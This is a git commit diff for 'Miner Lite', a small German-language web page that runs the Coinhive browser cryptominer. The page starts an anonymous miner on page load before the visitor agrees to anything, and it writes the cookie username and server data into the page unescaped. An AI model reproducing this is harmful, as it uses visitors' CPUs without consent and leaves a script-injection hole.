fix for firefox
This commit is contained in:
parent
725253050f
commit
2817394782
343
index.html
343
index.html
@ -1,193 +1,190 @@
|
|||||||
<!doctype html>
|
<!doctype html>
|
||||||
<!--
|
<!--
|
||||||
Material Design Lite
|
Material Design Lite
|
||||||
Copyright 2015 Google Inc. All rights reserved.
|
Copyright 2015 Google Inc. All rights reserved.
|
||||||
|
|
||||||
Licensed under the Apache License, Version 2.0 (the "License");
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
you may not use this file except in compliance with the License.
|
you may not use this file except in compliance with the License.
|
||||||
You may obtain a copy of the License at
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
https://www.apache.org/licenses/LICENSE-2.0
|
https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
Unless required by applicable law or agreed to in writing, software
|
Unless required by applicable law or agreed to in writing, software
|
||||||
distributed under the License is distributed on an "AS IS" BASIS,
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
See the License for the specific language governing permissions and
|
See the License for the specific language governing permissions and
|
||||||
limitations under the License
|
limitations under the License
|
||||||
-->
|
|
||||||
<html lang="en">
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8">
|
|
||||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
|
||||||
<meta name="description" content="A front-end template that helps you build fast, modern mobile web apps.">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
|
|
||||||
<title>Miner Lite</title>
|
|
||||||
|
|
||||||
<link rel="shortcut icon" href="images/favicon.png">
|
|
||||||
|
|
||||||
<!-- SEO: If your mobile URL is different from the desktop URL, add a canonical link to the desktop page https://developers.google.com/webmasters/smartphone-sites/feature-phones -->
|
|
||||||
<!--
|
|
||||||
<link rel="canonical" href="http://www.example.com/">
|
|
||||||
-->
|
-->
|
||||||
|
<html lang="en">
|
||||||
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:regular,bold,italic,thin,light,bolditalic,black,medium&lang=en">
|
<head>
|
||||||
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
|
<meta charset="utf-8">
|
||||||
<link rel="stylesheet" href="https://code.getmdl.io/1.3.0/material.indigo-deep_purple.min.css">
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
<link rel="stylesheet" type="text/css" href="//csshake.surge.sh/csshake.min.css">
|
<meta name="description" content="A front-end template that helps you build fast, modern mobile web apps.">
|
||||||
<link rel="stylesheet" href="styles.css">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
|
||||||
</head>
|
<title>Miner Lite</title>
|
||||||
<body class="mdl-demo mdl-color--grey-100 mdl-color-text--grey-700 mdl-base">
|
<link rel="shortcut icon" href="images/favicon.png">
|
||||||
<div class="mdl-layout mdl-js-layout mdl-layout--fixed-header">
|
<!-- SEO: If your mobile URL is different from the desktop URL, add a canonical link to the desktop page https://developers.google.com/webmasters/smartphone-sites/feature-phones -->
|
||||||
<header class="mdl-layout__header mdl-layout__header--scroll mdl-color--primary">
|
<!--
|
||||||
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
|
<link rel="canonical" href="http://www.example.com/">
|
||||||
</div>
|
-->
|
||||||
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
|
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:regular,bold,italic,thin,light,bolditalic,black,medium&lang=en">
|
||||||
<h3>Miner Lite</h3>
|
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
|
||||||
</div>
|
<link rel="stylesheet" href="https://code.getmdl.io/1.3.0/material.indigo-deep_purple.min.css">
|
||||||
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/dialog-polyfill/0.4.4/dialog-polyfill.min.css">
|
||||||
</div>
|
<link rel="stylesheet" type="text/css" href="//csshake.surge.sh/csshake.min.css">
|
||||||
<div class="mdl-layout__tab-bar mdl-js-ripple-effect mdl-color--primary-dark">
|
<link rel="stylesheet" href="styles.css">
|
||||||
<a href="#overview" class="mdl-layout__tab is-active">Startseite</a>
|
</head>
|
||||||
<a href="#user" class="mdl-layout__tab">Benutzer Details</a>
|
<body class="mdl-demo mdl-color--grey-100 mdl-color-text--grey-700 mdl-base">
|
||||||
<a href="#server" class="mdl-layout__tab">Server Details</a>
|
<dialog class="modal modal--align-top modal__bg" id="user-dialog">
|
||||||
<a href="#faq" class="mdl-layout__tab">FAQ</a>
|
|
||||||
<button class="mdl-button mdl-js-button mdl-button--fab mdl-button--colored" id="add">
|
|
||||||
<i class="material-icons" role="presentation">send</i>
|
|
||||||
<span class="visuallyhidden">Send</span>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</header>
|
|
||||||
<main class="mdl-layout__content">
|
|
||||||
<dialog class="modal modal--align-top modal__bg">
|
|
||||||
<h4 class="mdl-dialog__title">Bitte wähle deinen Benutzernamen</h4>
|
<h4 class="mdl-dialog__title">Bitte wähle deinen Benutzernamen</h4>
|
||||||
<div class="mdl-dialog__content">
|
<div class="mdl-dialog__content">
|
||||||
<div class="mdl-textfield mdl-js-textfield">
|
<div class="mdl-textfield mdl-js-textfield">
|
||||||
<input class="mdl-textfield__input" type="text" id="userinput">
|
<input class="mdl-textfield__input" type="text" id="userinput">
|
||||||
<label class="mdl-textfield__label" for="userinput">Benutzername</label>
|
<label class="mdl-textfield__label" for="userinput">Benutzername</label>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="mdl-dialog__actions">
|
<div class="mdl-dialog__actions">
|
||||||
<button type="button" class="mdl-button set">Setzen</button>
|
<button type="button" class="mdl-button set">Setzen</button>
|
||||||
<button type="button" class="mdl-button close">Abbruch</button>
|
<button type="button" class="mdl-button close">Abbruch</button>
|
||||||
</div>
|
</div>
|
||||||
</dialog>
|
</dialog>
|
||||||
|
<div class="mdl-layout mdl-js-layout mdl-layout--fixed-header">
|
||||||
|
<header class="mdl-layout__header mdl-layout__header--scroll mdl-color--primary">
|
||||||
<div class="mdl-layout__tab-panel is-active" id="overview">
|
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
|
||||||
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
|
</div>
|
||||||
<header class="section__play-btn mdl-cell mdl-cell--3-col-desktop mdl-cell--2-col-tablet mdl-cell--4-col-phone mdl-color--teal-100 mdl-color-text--white">
|
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
|
||||||
<i class="material-icons">play_circle_filled</i>
|
<h3>Miner Lite</h3>
|
||||||
|
</div>
|
||||||
|
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
|
||||||
|
</div>
|
||||||
|
<div class="mdl-layout__tab-bar mdl-js-ripple-effect mdl-color--primary-dark">
|
||||||
|
<a href="#overview" class="mdl-layout__tab is-active">Startseite</a>
|
||||||
|
<a href="#user" class="mdl-layout__tab">Benutzer Details</a>
|
||||||
|
<a href="#server" class="mdl-layout__tab">Server Details</a>
|
||||||
|
<a href="#faq" class="mdl-layout__tab">FAQ</a>
|
||||||
|
<button class="mdl-button mdl-js-button mdl-button--fab mdl-button--colored" id="add">
|
||||||
|
<i class="material-icons" role="presentation">send</i>
|
||||||
|
<span class="visuallyhidden">Send</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
</header>
|
</header>
|
||||||
<div class="mdl-card mdl-cell mdl-cell--9-col-desktop mdl-cell--6-col-tablet mdl-cell--4-col-phone">
|
<main class="mdl-layout__content">
|
||||||
<div class="mdl-card__supporting-text">
|
<div class="mdl-layout__tab-panel is-active" id="overview">
|
||||||
<h4>Features</h4>
|
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
|
||||||
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Nostrud in laboris labore nisi amet do dolor eu fugiat consectetur elit cillum esse.
|
<header class="section__play-btn mdl-cell mdl-cell--3-col-desktop mdl-cell--2-col-tablet mdl-cell--4-col-phone mdl-color--teal-100 mdl-color-text--white">
|
||||||
</div>
|
<i class="material-icons">play_circle_filled</i>
|
||||||
<div class="mdl-card__actions">
|
</header>
|
||||||
<a href="#" class="mdl-button">Read our features</a>
|
<div class="mdl-card mdl-cell mdl-cell--9-col-desktop mdl-cell--6-col-tablet mdl-cell--4-col-phone">
|
||||||
</div>
|
<div class="mdl-card__supporting-text">
|
||||||
</div>
|
<h4>Features</h4>
|
||||||
<ul class="mdl-menu mdl-js-menu mdl-menu--bottom-right" for="btn1">
|
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Nostrud in laboris labore nisi amet do dolor eu fugiat consectetur elit cillum esse.
|
||||||
<li class="mdl-menu__item">Lorem</li>
|
</div>
|
||||||
<li class="mdl-menu__item" disabled>Ipsum</li>
|
<div class="mdl-card__actions">
|
||||||
<li class="mdl-menu__item">Dolor</li>
|
<a href="#" class="mdl-button">Read our features</a>
|
||||||
</ul>
|
</div>
|
||||||
</section>
|
</div>
|
||||||
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
|
<ul class="mdl-menu mdl-js-menu mdl-menu--bottom-right" for="btn1">
|
||||||
<div class="mdl-card mdl-cell mdl-cell--12-col">
|
<li class="mdl-menu__item">Lorem</li>
|
||||||
<div class="mdl-card__supporting-text mdl-grid mdl-grid--no-spacing">
|
<li class="mdl-menu__item" disabled>Ipsum</li>
|
||||||
<h4 class="mdl-cell mdl-cell--12-col">Details</h4>
|
<li class="mdl-menu__item">Dolor</li>
|
||||||
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
|
</ul>
|
||||||
<div class="section__circle-container__circle mdl-color--primary"></div>
|
</section>
|
||||||
|
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
|
||||||
|
<div class="mdl-card mdl-cell mdl-cell--12-col">
|
||||||
|
<div class="mdl-card__supporting-text mdl-grid mdl-grid--no-spacing">
|
||||||
|
<h4 class="mdl-cell mdl-cell--12-col">Details</h4>
|
||||||
|
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
|
||||||
|
<div class="section__circle-container__circle mdl-color--primary"></div>
|
||||||
|
</div>
|
||||||
|
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
|
||||||
|
<h5>Lorem ipsum dolor sit amet</h5>
|
||||||
|
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
|
||||||
|
</div>
|
||||||
|
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
|
||||||
|
<div class="section__circle-container__circle mdl-color--primary"></div>
|
||||||
|
</div>
|
||||||
|
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
|
||||||
|
<h5>Lorem ipsum dolor sit amet</h5>
|
||||||
|
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
|
||||||
|
</div>
|
||||||
|
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
|
||||||
|
<div class="section__circle-container__circle mdl-color--primary"></div>
|
||||||
|
</div>
|
||||||
|
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
|
||||||
|
<h5>Lorem ipsum dolor sit amet</h5>
|
||||||
|
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="mdl-card__actions">
|
||||||
|
<a href="#" class="mdl-button">Read our features</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
|
||||||
|
<div class="mdl-card mdl-cell mdl-cell--12-col">
|
||||||
|
<div class="mdl-card__supporting-text">
|
||||||
|
<h4>Technology</h4>
|
||||||
|
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Nostrud in laboris labore nisi amet do dolor eu fugiat consectetur elit cillum esse. Pariatur occaecat nisi laboris tempor laboris eiusmod qui id Lorem esse commodo in. Exercitation aute dolore deserunt culpa consequat elit labore incididunt elit anim.
|
||||||
|
</div>
|
||||||
|
<div class="mdl-card__actions">
|
||||||
|
<a href="#" class="mdl-button">Read our features</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
</div>
|
</div>
|
||||||
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
|
<div class="mdl-layout__tab-panel" id="user">
|
||||||
<h5>Lorem ipsum dolor sit amet</h5>
|
<section class="section--center mdl-grid mdl-grid--no-spacing">
|
||||||
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
|
<div class="mdl-cell mdl-cell--12-col">
|
||||||
|
<h4>Benutzer Details</h4>
|
||||||
|
<span class="mdl-chip" id="notloggedin">
|
||||||
|
<span class="mdl-chip__text">Nicht eingeloggt</span>
|
||||||
|
</span>
|
||||||
|
<div id="loggedin" style="display:none;">
|
||||||
|
<span class="mdl-chip mdl-chip--contact">
|
||||||
|
<span class="mdl-chip__contact mdl-color--teal mdl-color-text--white">U</span>
|
||||||
|
<span class="mdl-chip__text" id="usernametext">USERNAME</span>
|
||||||
|
</span>
|
||||||
|
<br />
|
||||||
|
<p>
|
||||||
|
Threads: <span id="details_threads">0</span><br />
|
||||||
|
Hashes/s: <span id="details_hashes">0</span><br />
|
||||||
|
Accepted Hashes: <span id="details_accepted">0</span><br />
|
||||||
|
Total Hashes: <span id="details_total">0</span><br />
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div style="margin-bottom: 25em">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
</div>
|
</div>
|
||||||
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
|
<div class="mdl-layout__tab-panel" id="server">
|
||||||
<div class="section__circle-container__circle mdl-color--primary"></div>
|
<section class="section--center mdl-grid mdl-grid--no-spacing">
|
||||||
|
<div class="mdl-cell mdl-cell--12-col">
|
||||||
|
<h4>Server Details</h4>
|
||||||
|
<ol id="top10">
|
||||||
|
</ol>
|
||||||
|
<div style="margin-bottom: 25em">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
</div>
|
</div>
|
||||||
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
|
<footer class="mdl-mega-footer">
|
||||||
<h5>Lorem ipsum dolor sit amet</h5>
|
<div class="mdl-mega-footer--bottom-section">
|
||||||
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
|
<div class="mdl-logo">
|
||||||
</div>
|
More Information
|
||||||
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
|
</div>
|
||||||
<div class="section__circle-container__circle mdl-color--primary"></div>
|
<ul class="mdl-mega-footer--link-list">
|
||||||
</div>
|
<li><a href="https://developers.google.com/web/starter-kit/">Web Starter Kit</a></li>
|
||||||
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
|
<li><a href="#">Help</a></li>
|
||||||
<h5>Lorem ipsum dolor sit amet</h5>
|
<li><a href="#">Privacy and Terms</a></li>
|
||||||
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</footer>
|
||||||
<div class="mdl-card__actions">
|
</main>
|
||||||
<a href="#" class="mdl-button">Read our features</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
|
|
||||||
<div class="mdl-card mdl-cell mdl-cell--12-col">
|
|
||||||
<div class="mdl-card__supporting-text">
|
|
||||||
<h4>Technology</h4>
|
|
||||||
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Nostrud in laboris labore nisi amet do dolor eu fugiat consectetur elit cillum esse. Pariatur occaecat nisi laboris tempor laboris eiusmod qui id Lorem esse commodo in. Exercitation aute dolore deserunt culpa consequat elit labore incididunt elit anim.
|
|
||||||
</div>
|
|
||||||
<div class="mdl-card__actions">
|
|
||||||
<a href="#" class="mdl-button">Read our features</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
</div>
|
</div>
|
||||||
<div class="mdl-layout__tab-panel" id="user">
|
<script src="https://code.getmdl.io/1.3.0/material.min.js"></script>
|
||||||
<section class="section--center mdl-grid mdl-grid--no-spacing">
|
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/dialog-polyfill/0.4.4/dialog-polyfill.js"></script>
|
||||||
<div class="mdl-cell mdl-cell--12-col">
|
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
|
||||||
<h4>Benutzer Details</h4>
|
<script src="main.js"></script>
|
||||||
<span class="mdl-chip" id="notloggedin">
|
</body>
|
||||||
<span class="mdl-chip__text">Nicht eingeloggt</span>
|
|
||||||
</span>
|
|
||||||
<div id="loggedin" style="display:none;">
|
|
||||||
<span class="mdl-chip mdl-chip--contact">
|
|
||||||
<span class="mdl-chip__contact mdl-color--teal mdl-color-text--white">U</span>
|
|
||||||
<span class="mdl-chip__text" id="usernametext">USERNAME</span>
|
|
||||||
</span>
|
|
||||||
<br />
|
|
||||||
<p>
|
|
||||||
Threads: <span id="details_threads">0</span><br />
|
|
||||||
Hashes/s: <span id="details_hashes">0</span><br />
|
|
||||||
Accepted Hashes: <span id="details_accepted">0</span><br />
|
|
||||||
Total Hashes: <span id="details_total">0</span><br />
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
<div style="margin-bottom: 25em">
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
</div>
|
|
||||||
<div class="mdl-layout__tab-panel" id="server">
|
|
||||||
<section class="section--center mdl-grid mdl-grid--no-spacing">
|
|
||||||
<div class="mdl-cell mdl-cell--12-col">
|
|
||||||
<h4>Server Details</h4>
|
|
||||||
<ol id="top10">
|
|
||||||
</ol>
|
|
||||||
<div style="margin-bottom: 25em">
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
</div>
|
|
||||||
<footer class="mdl-mega-footer">
|
|
||||||
<div class="mdl-mega-footer--bottom-section">
|
|
||||||
<div class="mdl-logo">
|
|
||||||
More Information
|
|
||||||
</div>
|
|
||||||
<ul class="mdl-mega-footer--link-list">
|
|
||||||
<li><a href="https://developers.google.com/web/starter-kit/">Web Starter Kit</a></li>
|
|
||||||
<li><a href="#">Help</a></li>
|
|
||||||
<li><a href="#">Privacy and Terms</a></li>
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
</footer>
|
|
||||||
</main>
|
|
||||||
</div>
|
|
||||||
<script src="https://code.getmdl.io/1.3.0/material.min.js"></script>
|
|
||||||
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
|
|
||||||
<script src="main.js"></script>
|
|
||||||
</body>
|
|
||||||
</html>
|
</html>
|
||||||
|
294
main.js
294
main.js
@ -1,148 +1,146 @@
|
|||||||
var sitekey = '59UmZxWe8pVs2PDpTSCcNGZp7FxYWdFS';
|
var sitekey = '59UmZxWe8pVs2PDpTSCcNGZp7FxYWdFS';
|
||||||
var anonminer = new CoinHive.Anonymous(sitekey, {
|
var anonminer = new CoinHive.Anonymous(sitekey, {
|
||||||
threads: 2
|
threads: 2
|
||||||
});
|
});
|
||||||
|
|
||||||
function getCookie(name) {
|
function getCookie(name) {
|
||||||
var dc = document.cookie;
|
var dc = document.cookie;
|
||||||
var prefix = name + "=";
|
var prefix = name + "=";
|
||||||
var begin = dc.indexOf("; " + prefix);
|
var begin = dc.indexOf("; " + prefix);
|
||||||
if (begin == -1) {
|
if (begin == -1) {
|
||||||
begin = dc.indexOf(prefix);
|
begin = dc.indexOf(prefix);
|
||||||
if (begin != 0) return null;
|
if (begin != 0) return null;
|
||||||
} else {
|
} else {
|
||||||
begin += 2;
|
begin += 2;
|
||||||
var end = document.cookie.indexOf(";", begin);
|
var end = document.cookie.indexOf(";", begin);
|
||||||
if (end == -1) {
|
if (end == -1) {
|
||||||
end = dc.length;
|
end = dc.length;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// because unescape has been deprecated, replaced with decodeURI
|
// because unescape has been deprecated, replaced with decodeURI
|
||||||
//return unescape(dc.substring(begin + prefix.length, end));
|
//return unescape(dc.substring(begin + prefix.length, end));
|
||||||
return decodeURI(dc.substring(begin + prefix.length, end));
|
return decodeURI(dc.substring(begin + prefix.length, end));
|
||||||
}
|
}
|
||||||
|
|
||||||
function setCookie(cname, cvalue, exdays) {
|
function setCookie(cname, cvalue, exdays) {
|
||||||
var d = new Date();
|
var d = new Date();
|
||||||
d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
|
d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
|
||||||
var expires = "expires=" + d.toUTCString();
|
var expires = "expires=" + d.toUTCString();
|
||||||
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
|
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
|
||||||
}
|
}
|
||||||
|
|
||||||
function ajax(url, method = "GET", data = "", tryJson = true) {
|
function ajax(url, method = "GET", data = "", tryJson = true) {
|
||||||
return new Promise((resolve, reject) => {
|
return new Promise((resolve, reject) => {
|
||||||
var httpRequest = new XMLHttpRequest();
|
var httpRequest = new XMLHttpRequest();
|
||||||
httpRequest.onreadystatechange = function() {
|
httpRequest.onreadystatechange = function() {
|
||||||
if (httpRequest.readyState === XMLHttpRequest.DONE) {
|
if (httpRequest.readyState === XMLHttpRequest.DONE) {
|
||||||
if (httpRequest.status === 200) {
|
if (httpRequest.status === 200) {
|
||||||
var response = httpRequest.responseText;
|
var response = httpRequest.responseText;
|
||||||
if (tryJson) {
|
if (tryJson) {
|
||||||
try {
|
try {
|
||||||
response = JSON.parse(response)
|
response = JSON.parse(response)
|
||||||
} catch (e) {}
|
} catch (e) {}
|
||||||
}
|
}
|
||||||
resolve(response)
|
resolve(response)
|
||||||
} else {
|
} else {
|
||||||
reject()
|
reject()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
httpRequest.open(method, url, true);
|
httpRequest.open(method, url, true);
|
||||||
if (method === "POST") {
|
if (method === "POST") {
|
||||||
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||||||
httpRequest.send(data)
|
httpRequest.send(data)
|
||||||
} else {
|
} else {
|
||||||
httpRequest.send()
|
httpRequest.send()
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
function updateTop10() {
|
function updateTop10() {
|
||||||
ajax("api.php").then(function(answer) {
|
ajax("api.php").then(function(answer) {
|
||||||
console.log(answer);
|
console.log(answer);
|
||||||
var list = document.getElementById('top10');
|
var list = document.getElementById('top10');
|
||||||
list.innerHTML = "";
|
list.innerHTML = "";
|
||||||
for (var key in answer) {
|
for (var key in answer) {
|
||||||
var value = answer[key];
|
var value = answer[key];
|
||||||
list.insertAdjacentHTML('beforeend', '<li>' + key + ': ' + value + '</li>');
|
list.insertAdjacentHTML('beforeend', '<li>' + key + ': ' + value + '</li>');
|
||||||
}
|
}
|
||||||
}, function() {})
|
}, function() {})
|
||||||
}
|
}
|
||||||
|
|
||||||
function login(userid) {
|
function login(userid) {
|
||||||
document.getElementById('add').style.display = "none";
|
document.getElementById('add').style.display = "none";
|
||||||
document.getElementById('notloggedin').style.display = "none";
|
document.getElementById('notloggedin').style.display = "none";
|
||||||
document.getElementById('loggedin').style.display = "inline";
|
document.getElementById('loggedin').style.display = "inline";
|
||||||
document.getElementById('usernametext').innerHTML = userid;
|
document.getElementById('usernametext').innerHTML = userid;
|
||||||
|
|
||||||
if(anonminer.isRunning()) {
|
if(anonminer.isRunning()) {
|
||||||
anonminer.stop();
|
anonminer.stop();
|
||||||
}
|
}
|
||||||
|
|
||||||
var miner = new CoinHive.User(sitekey, userid, {
|
var miner = new CoinHive.User(sitekey, userid, {
|
||||||
threads: 4,
|
threads: 4,
|
||||||
autoThreads: true
|
autoThreads: true
|
||||||
});
|
});
|
||||||
|
|
||||||
// Update stats once per second
|
// Update stats once per second
|
||||||
setInterval(function() {
|
setInterval(function() {
|
||||||
var hashesPerSecond = miner.getHashesPerSecond();
|
var hashesPerSecond = miner.getHashesPerSecond();
|
||||||
var totalHashes = miner.getTotalHashes();
|
var totalHashes = miner.getTotalHashes();
|
||||||
var acceptedHashes = miner.getAcceptedHashes();
|
var acceptedHashes = miner.getAcceptedHashes();
|
||||||
|
|
||||||
console.log(hashesPerSecond + " " + totalHashes + " " + acceptedHashes);
|
console.log(hashesPerSecond + " " + totalHashes + " " + acceptedHashes);
|
||||||
|
|
||||||
document.getElementById('details_threads').innerHTML = miner.getNumThreads();
|
document.getElementById('details_threads').innerHTML = miner.getNumThreads();
|
||||||
document.getElementById('details_hashes').innerHTML = hashesPerSecond;
|
document.getElementById('details_hashes').innerHTML = hashesPerSecond;
|
||||||
document.getElementById('details_total').innerHTML = totalHashes;
|
document.getElementById('details_total').innerHTML = totalHashes;
|
||||||
document.getElementById('details_accepted').innerHTML = acceptedHashes;
|
document.getElementById('details_accepted').innerHTML = acceptedHashes;
|
||||||
}, 1000);
|
}, 1000);
|
||||||
|
|
||||||
miner.start(CoinHive.IF_EXCLUSIVE_TAB);
|
miner.start(CoinHive.IF_EXCLUSIVE_TAB);
|
||||||
}
|
}
|
||||||
|
|
||||||
var dialog = document.querySelector('dialog');
|
var dialog = document.querySelector('#user-dialog');
|
||||||
var showDialogButton = document.querySelector('#add');
|
var showDialogButton = document.querySelector('#add');
|
||||||
if (!dialog.showModal) {
|
dialogPolyfill.registerDialog(dialog);
|
||||||
dialogPolyfill.registerDialog(dialog);
|
showDialogButton.addEventListener('click', function() {
|
||||||
}
|
dialog.showModal();
|
||||||
showDialogButton.addEventListener('click', function() {
|
});
|
||||||
dialog.showModal();
|
|
||||||
});
|
dialog.querySelector('.set').addEventListener('click', function() {
|
||||||
|
var username = document.getElementById('userinput').value;
|
||||||
dialog.querySelector('.set').addEventListener('click', function() {
|
setCookie("username", username, 30);
|
||||||
var username = document.getElementById('userinput').value;
|
login(username);
|
||||||
setCookie("username", username, 30);
|
dialog.close();
|
||||||
login(username);
|
});
|
||||||
dialog.close();
|
|
||||||
});
|
dialog.querySelector('.close').addEventListener('click', function() {
|
||||||
|
dialog.close();
|
||||||
dialog.querySelector('.close').addEventListener('click', function() {
|
});
|
||||||
dialog.close();
|
|
||||||
});
|
var username = getCookie("username");
|
||||||
|
if (username != null) {
|
||||||
var username = getCookie("username");
|
login(username);
|
||||||
if (username != null) {
|
} else {
|
||||||
login(username);
|
anonminer.start();
|
||||||
} else {
|
}
|
||||||
anonminer.start();
|
|
||||||
}
|
updateTop10();
|
||||||
|
setInterval(function() {
|
||||||
updateTop10();
|
updateTop10();
|
||||||
setInterval(function() {
|
}, 60000);
|
||||||
updateTop10();
|
|
||||||
}, 60000);
|
|
||||||
|
setInterval(function() {
|
||||||
|
if (getCookie("username") == null) {
|
||||||
setInterval(function() {
|
var button = document.getElementById("add");
|
||||||
if (getCookie("username") == null) {
|
button.classList.add("shake-slow");
|
||||||
var button = document.getElementById("add");
|
button.classList.add("shake-constant");
|
||||||
button.classList.add("shake-slow");
|
setTimeout(function(){
|
||||||
button.classList.add("shake-constant");
|
button.classList.remove("shake-slow");
|
||||||
setTimeout(function(){
|
button.classList.remove("shake-constant");
|
||||||
button.classList.remove("shake-slow");
|
}, 2000);
|
||||||
button.classList.remove("shake-constant");
|
}
|
||||||
}, 2000);
|
}, 5000);
|
||||||
}
|
|
||||||
}, 5000);
|
|
Loading…
Reference in New Issue
Block a user